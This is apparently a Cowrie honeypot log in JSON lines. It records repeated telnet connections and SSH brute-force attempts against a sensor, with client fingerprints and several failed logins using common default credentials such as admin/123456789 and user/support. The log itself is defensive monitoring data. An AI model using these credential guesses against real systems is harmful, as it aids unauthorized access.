{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34352,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c84ec75d5e","protocol":"telnet","message":"New connection: 103.247.216.2:34352 (10.17.0.5:23) [session: f9c84ec75d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:47.604623Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec4e948de05","protocol":"telnet","message":"New connection: 103.247.216.2:34460 (10.17.0.5:23) [session: 9ec4e948de05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:47.724178Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":33594,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb3040006b1","protocol":"telnet","message":"New connection: 103.247.216.2:33594 (10.17.0.5:23) [session: ccb3040006b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:47.743446Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"0efe41234c82","protocol":"telnet","message":"New connection: 103.247.216.2:35462 (10.17.0.5:23) [session: 0efe41234c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:48.827432Z"}
{"eventid":"cowrie.session.closed","duration":30.56827449798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:49.236442Z","src_ip":"103.247.216.2","session":"d78b5704beea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981724977493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:49.614226Z","src_ip":"103.247.216.2","session":"75c675dd2ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423775911331177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:50.197787Z","src_ip":"103.247.216.2","session":"681ad9a01df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223445653915405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:51.275874Z","src_ip":"103.247.216.2","session":"ac27e5889a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10223627090454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:53.252692Z","src_ip":"103.247.216.2","session":"e39347d1e7ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61805295944214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:53.267756Z","src_ip":"103.247.216.2","session":"c82d046e6f01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86163878440857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:57.252730Z","src_ip":"103.247.216.2","session":"a6fa90d19c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832985877990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:58.242540Z","src_ip":"103.247.216.2","session":"ac9354739605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49130940437317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:00.197054Z","src_ip":"103.247.216.2","session":"ba5b4a7ea38a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47762703895569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:01.224303Z","src_ip":"103.247.216.2","session":"6f8c69df6514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513169527053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:01.229439Z","src_ip":"103.247.216.2","session":"de23c2ec0657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56221604347229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:05.284923Z","src_ip":"103.247.216.2","session":"ce7da6c9f5e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":60958,"dst_ip":"10.17.0.5","dst_port":23,"session":"01187931f7fe","protocol":"telnet","message":"New connection: 103.247.216.2:60958 (10.17.0.5:23) [session: 01187931f7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:11.918756Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34626,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b9d8f2cdc2","protocol":"telnet","message":"New connection: 103.247.216.2:34626 (10.17.0.5:23) [session: c5b9d8f2cdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:13.595858Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec0456d4f28","protocol":"telnet","message":"New connection: 103.247.216.2:35066 (10.17.0.5:23) [session: 0ec0456d4f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:14.008410Z"}
{"eventid":"cowrie.session.closed","duration":30.50831174850464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:16.181015Z","src_ip":"103.247.216.2","session":"3d966556808f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":37502,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a6181fe234","protocol":"telnet","message":"New connection: 103.247.216.2:37502 (10.17.0.5:23) [session: 96a6181fe234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:16.253080Z"}
{"eventid":"cowrie.session.closed","duration":30.58691668510437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:17.285302Z","src_ip":"103.247.216.2","session":"5d794e377cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48899817466736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:18.213006Z","src_ip":"103.247.216.2","session":"9ec4e948de05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.475095748901367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:18.218262Z","src_ip":"103.247.216.2","session":"ccb3040006b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61905288696289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:18.223577Z","src_ip":"103.247.216.2","session":"f9c84ec75d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406575679779053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:19.233721Z","src_ip":"103.247.216.2","session":"0efe41234c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58378,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5834cc5c1d","protocol":"ssh","message":"New connection: 159.203.92.129:58378 (159.203.135.109:22) [session: ca5834cc5c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:20.787084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:20.792556Z","src_ip":"159.203.92.129","session":"ca5834cc5c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:20.800774Z","src_ip":"159.203.92.129","session":"ca5834cc5c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:20.811466Z","src_ip":"159.203.92.129","session":"ca5834cc5c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:21.831547Z","src_ip":"159.203.92.129","session":"ca5834cc5c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":60462,"dst_ip":"10.17.0.5","dst_port":23,"session":"17292119340f","protocol":"telnet","message":"New connection: 103.247.216.2:60462 (10.17.0.5:23) [session: 17292119340f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:38.720038Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"5618ac6df7df","protocol":"telnet","message":"New connection: 103.247.216.2:34692 (10.17.0.5:23) [session: 5618ac6df7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:40.671496Z"}
{"eventid":"cowrie.session.closed","duration":31.272438526153564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:43.191048Z","src_ip":"103.247.216.2","session":"01187931f7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1488d949811","protocol":"ssh","message":"New connection: 68.183.236.1:46542 (10.17.0.5:22) [session: c1488d949811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:43.262471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:43.267431Z","src_ip":"68.183.236.1","session":"c1488d949811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:43.504030Z","src_ip":"68.183.236.1","session":"c1488d949811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.657415866851807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:44.253178Z","src_ip":"103.247.216.2","session":"c5b9d8f2cdc2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test000","message":"login attempt [ubuntu/test000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:44.483057Z","src_ip":"68.183.236.1","session":"c1488d949811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.242277145385742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:45.250580Z","src_ip":"103.247.216.2","session":"0ec0456d4f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:45.724702Z","src_ip":"68.183.236.1","session":"c1488d949811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.981276750564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:47.234261Z","src_ip":"103.247.216.2","session":"96a6181fe234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":45162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fdf227b029","protocol":"telnet","message":"New connection: 103.247.216.2:45162 (10.17.0.5:23) [session: e1fdf227b029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:02:49.737395Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"f685acdd083f","protocol":"ssh","message":"New connection: 159.203.92.129:45796 (159.203.135.109:22) [session: f685acdd083f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:03.127773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:03.133037Z","src_ip":"159.203.92.129","session":"f685acdd083f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:03.137947Z","src_ip":"159.203.92.129","session":"f685acdd083f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:03.152240Z","src_ip":"159.203.92.129","session":"f685acdd083f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:04.164197Z","src_ip":"159.203.92.129","session":"f685acdd083f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50465226173401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:09.224541Z","src_ip":"103.247.216.2","session":"17292119340f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539475917816162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:11.210856Z","src_ip":"103.247.216.2","session":"5618ac6df7df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506627321243286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:20.243903Z","src_ip":"103.247.216.2","session":"e1fdf227b029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":58574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a09ff0383f17","protocol":"telnet","message":"New connection: 103.247.216.2:58574 (10.17.0.5:23) [session: a09ff0383f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:26.807030Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":45928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2b3a318598","protocol":"telnet","message":"New connection: 103.247.216.2:45928 (10.17.0.5:23) [session: ab2b3a318598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:40.698499Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":59774,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fcb423ac200","protocol":"ssh","message":"New connection: 68.183.236.1:59774 (10.17.0.5:22) [session: 2fcb423ac200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:42.697338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:42.702170Z","src_ip":"68.183.236.1","session":"2fcb423ac200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:42.947794Z","src_ip":"68.183.236.1","session":"2fcb423ac200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"support","message":"login attempt [user/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:43.961421Z","src_ip":"68.183.236.1","session":"2fcb423ac200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:45.210369Z","src_ip":"68.183.236.1","session":"2fcb423ac200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39578,"dst_ip":"159.203.135.109","dst_port":22,"session":"c33280277256","protocol":"ssh","message":"New connection: 159.203.92.129:39578 (159.203.135.109:22) [session: c33280277256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:46.022693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:03:46.031376Z","src_ip":"159.203.92.129","session":"c33280277256","protocol":"ssh"}
